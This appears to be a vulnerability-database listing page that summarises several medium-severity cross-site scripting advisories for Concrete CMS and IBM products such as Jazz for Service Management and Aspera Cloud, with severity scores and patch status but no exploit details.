An issue was discovered in Concrete CMS through 8.5.5. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Concrete Cms
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

IBM Jazz for Service Management 1.1.3.10 is vulnerable to stored cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

IBM XSS Jazz For Service Management
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

IBM Aspera Cloud is vulnerable to stored cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

IBM XSS Aspera On Cloud
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

IBM Jazz for Service Management 1.1.3.10 and IBM Tivoli Netcool/OMNIbus_GUI is vulnerable to cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

IBM XSS Jazz For Service Management
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

IBM Jazz for Service Management 1.1.3.10 and IBM Tivoli Netcool/OMNIbus_GUI is vulnerable to stored cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

IBM XSS Jazz For Service Management
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

IBM Jazz for Service Management 1.1.3.10 and IBM Tivoli Netcool/OMNIbus_GUI is vulnerable to stored cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

IBM XSS Jazz For Service Management
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

IBM Jazz for Service Management 1.1.3.10 and IBM Tivoli Netcool/OMNIbus_GUI is vulnerable to stored cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

IBM XSS Jazz For Service Management
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

IBM Jazz for Service Management 1.1.3.10 and IBM Tivoli Netcool/OMNIbus_GUI is vulnerable to stored cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

IBM XSS Jazz For Service Management
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

IBM Jazz for Service Management 1.1.3.10 and IBM Tivoli Netcool/OMNIbus_GUI is vulnerable to stored cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

IBM XSS Jazz For Service Management
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

IBM Jazz for Service Management 1.1.3.10 and IBM Tivoli Netcool/OMNIbus_GUI is vulnerable to stored cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

IBM XSS Jazz For Service Management
NVD
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Quick Facts

Typical Severity
MEDIUM
Category
web
Total CVEs
39285

Related CWEs

MITRE ATT&CK

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